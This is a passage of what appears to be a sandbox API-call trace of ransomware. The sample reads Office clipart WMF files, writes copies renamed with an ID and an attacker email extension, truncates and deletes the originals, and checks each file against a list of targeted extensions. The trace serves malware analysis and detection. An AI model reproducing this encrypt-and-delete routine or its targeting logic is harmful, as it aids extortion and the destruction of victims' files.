	[0072.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.740] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5004) returned 1
	[0072.740] CloseHandle (hObject=0x33c) returned 1
	[0072.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220
	[0072.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.741] GetLastError () returned 0x0
	[0072.741] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0072.772] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0072.773] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.773] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.773] SetEndOfFile (hFile=0x390) returned 1
	[0072.777] CloseHandle (hObject=0x390) returned 1
	[0072.778] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.778] SetEndOfFile (hFile=0x33c) returned 1
	[0072.780] CloseHandle (hObject=0x33c) returned 1
	[0072.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1
	[0072.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.781] lstrlenW (lpString=".doc") returned 4
	[0072.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.781] lstrlenW (lpString=".docx") returned 5
	[0072.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.782] lstrlenW (lpString=".pdf") returned 4
	[0072.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString=".xls") returned 4
	[0072.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.782] lstrlenW (lpString=".xlsx") returned 5
	[0072.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.782] lstrlenW (lpString=".ppt") returned 4
	[0072.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString=".zip") returned 4
	[0072.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.782] lstrlenW (lpString=".rar") returned 4
	[0072.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString=".bz2") returned 4
	[0072.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString=".7z") returned 3
	[0072.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString=".dbf") returned 4
	[0072.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString=".1cd") returned 4
	[0072.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString=".jpg") returned 4
	[0072.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.782] lstrlenW (lpString=".doc") returned 4
	[0072.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.782] lstrlenW (lpString=".docx") returned 5
	[0072.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.783] lstrlenW (lpString=".pdf") returned 4
	[0072.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString=".xls") returned 4
	[0072.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.783] lstrlenW (lpString=".xlsx") returned 5
	[0072.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.783] lstrlenW (lpString=".ppt") returned 4
	[0072.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.783] lstrlenW (lpString=".zip") returned 4
	[0072.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.783] lstrlenW (lpString=".rar") returned 4
	[0072.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString=".bz2") returned 4
	[0072.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString=".7z") returned 3
	[0072.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.783] lstrlenW (lpString=".dbf") returned 4
	[0072.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.783] lstrlenW (lpString=".1cd") returned 4
	[0072.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0072.783] lstrlenW (lpString=".jpg") returned 4
	[0072.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.783] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.784] lstrlenW (lpString="BD00146_.WMF") returned 12
	[0072.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.784] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=28948) returned 1
	[0072.784] CloseHandle (hObject=0x33c) returned 1
	[0072.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220
	[0072.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.784] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.784] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0072.785] GetLastError () returned 0x0
	[0072.785] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x7114, lpOverlapped=0x0) returned 1
	[0072.796] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x7120, lpOverlapped=0x0) returned 1
	[0072.797] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.798] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.798] SetEndOfFile (hFile=0x358) returned 1
	[0072.798] CloseHandle (hObject=0x358) returned 1
	[0072.799] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.799] SetEndOfFile (hFile=0x33c) returned 1
	[0072.800] CloseHandle (hObject=0x33c) returned 1
	[0072.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1
	[0072.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.801] lstrlenW (lpString=".doc") returned 4
	[0072.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.801] lstrlenW (lpString=".docx") returned 5
	[0072.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.801] lstrlenW (lpString=".pdf") returned 4
	[0072.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.801] lstrlenW (lpString=".xls") returned 4
	[0072.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.801] lstrlenW (lpString=".xlsx") returned 5
	[0072.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.801] lstrlenW (lpString=".ppt") returned 4
	[0072.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.801] lstrlenW (lpString=".zip") returned 4
	[0072.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.801] lstrlenW (lpString=".rar") returned 4
	[0072.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.801] lstrlenW (lpString=".bz2") returned 4
	[0072.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.801] lstrlenW (lpString=".7z") returned 3
	[0072.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString=".dbf") returned 4
	[0072.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString=".1cd") returned 4
	[0072.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString=".jpg") returned 4
	[0072.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString=".doc") returned 4
	[0072.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString=".docx") returned 5
	[0072.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.802] lstrlenW (lpString=".pdf") returned 4
	[0072.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString=".xls") returned 4
	[0072.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.802] lstrlenW (lpString=".xlsx") returned 5
	[0072.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.802] lstrlenW (lpString=".ppt") returned 4
	[0072.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.802] lstrlenW (lpString=".zip") returned 4
	[0072.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.802] lstrlenW (lpString=".rar") returned 4
	[0072.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString=".bz2") returned 4
	[0072.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.802] lstrlenW (lpString=".7z") returned 3
	[0072.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.803] lstrlenW (lpString=".dbf") returned 4
	[0072.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.803] lstrlenW (lpString=".1cd") returned 4
	[0072.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0072.803] lstrlenW (lpString=".jpg") returned 4
	[0072.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.803] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.803] lstrlenW (lpString="BD00160_.WMF") returned 12
	[0072.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.803] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=22516) returned 1
	[0072.803] CloseHandle (hObject=0x33c) returned 1
	[0072.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220
	[0072.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.804] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.804] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0072.804] GetLastError () returned 0x0
	[0072.804] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x57f4, lpOverlapped=0x0) returned 1
	[0072.815] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x5800, lpOverlapped=0x0) returned 1
	[0072.816] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.816] WriteFile (in: hFile=0x358, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.816] SetEndOfFile (hFile=0x358) returned 1
	[0072.816] CloseHandle (hObject=0x358) returned 1
	[0072.818] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.818] SetEndOfFile (hFile=0x33c) returned 1
	[0072.819] CloseHandle (hObject=0x33c) returned 1
	[0072.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1
	[0072.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.820] lstrlenW (lpString=".doc") returned 4
	[0072.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.820] lstrlenW (lpString=".docx") returned 5
	[0072.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.820] lstrlenW (lpString=".pdf") returned 4
	[0072.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.820] lstrlenW (lpString=".xls") returned 4
	[0072.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.820] lstrlenW (lpString=".xlsx") returned 5
	[0072.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.820] lstrlenW (lpString=".ppt") returned 4
	[0072.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.820] lstrlenW (lpString=".zip") returned 4
	[0072.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.820] lstrlenW (lpString=".rar") returned 4
	[0072.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString=".bz2") returned 4
	[0072.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString=".7z") returned 3
	[0072.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString=".dbf") returned 4
	[0072.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString=".1cd") returned 4
	[0072.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString=".jpg") returned 4
	[0072.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString=".doc") returned 4
	[0072.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString=".docx") returned 5
	[0072.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.821] lstrlenW (lpString=".pdf") returned 4
	[0072.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString=".xls") returned 4
	[0072.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.821] lstrlenW (lpString=".xlsx") returned 5
	[0072.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.821] lstrlenW (lpString=".ppt") returned 4
	[0072.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.821] lstrlenW (lpString=".zip") returned 4
	[0072.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.822] lstrlenW (lpString=".rar") returned 4
	[0072.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.822] lstrlenW (lpString=".bz2") returned 4
	[0072.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.822] lstrlenW (lpString=".7z") returned 3
	[0072.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.822] lstrlenW (lpString=".dbf") returned 4
	[0072.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.822] lstrlenW (lpString=".1cd") returned 4
	[0072.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0072.822] lstrlenW (lpString=".jpg") returned 4
	[0072.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.822] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.822] lstrlenW (lpString="BD05119_.WMF") returned 12
